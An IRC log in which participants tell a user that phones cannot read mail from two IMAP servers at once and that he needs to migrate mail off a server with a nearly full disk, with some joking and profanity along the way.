23:51 < sadasaulna> hexoroid: are you trolling me?  Cos i'm drunk and easily trolled, so go ahead
23:52 < sadasaulna> ok i forgot already hexoroid what was your original question?
23:52 < hexoroid> and priority levels
23:53 < bls> sadasaulna: this whole effort started because there's an email server with a full disk. the plan appears to be to start a second IMAP server, change some MX records, ?, storage pressure on original server is relieved
23:53 < sadasaulna> good luck with that :)
23:53 < meyou^> old mail is overrated anyway
23:53 < meyou^> look to the future!
23:54 < hexoroid> original question was to have two machines pulling emails on smart phone from both servers
23:54 < sadasaulna> hexoroid: so where does the full disk come into it?
23:55 < ayecee> bls: that's what this was about? i didn't see any of that.
23:55 < ayecee> is that from earlier?
23:55 < hexoroid> one hdd is full almost so i am setting up ohter one offshore and i am making it grabbing mail on that server first \
23:55 < bls> yeah, from earlier this morning
23:55 < ayecee> crazy.
23:55 < xamithan> Why not just resize the disk ?
23:55 < meyou^> maybe one day we'll have disk resizing technology
23:55 < meyou^> our grandkids will probably take it for granted
23:55 < ayecee> hexoroid: the phone would expect to find the same email on both servers. it won't contact both servers and combine the results.
23:55 < sadasaulna> hexoroid: you do realise that having more clients able to access your full SMTP server wont make a shit bit of difference, right?
23:56 < xamithan> Our grandkids won't know about any of that mess with all this serverless technology and apps
23:56 < hexoroid> but still the one thats getting lower on space until i sync it all and back it up i want smart phone to read mail from both servers that i specified in my dns records and set priority levels
23:56 < ntd> which makes them fucktards, unable to see the whole picture
23:56 < meyou^> hexoroid, won't happen, that's not how this works
23:57 < ayecee> mind the language please
23:57 < hexoroid> meyou so will have to back it all up sync it to one server
23:58 < sadasaulna> hexoroid: so you want clients to be able to read their email from the full server while you fix it?
23:58 < hexoroid> yes from both servers
23:59 < meyou^> depending on what you're using to serve mail the migration process can vary a bit
23:59 < hexoroid> i would make same user ids and pass and would set mai mxx @ mail blah.com
23:59 < meyou^> but yeah, you're going to need to migrate
--- Log closed Tue Jul 10 00:00:17 2018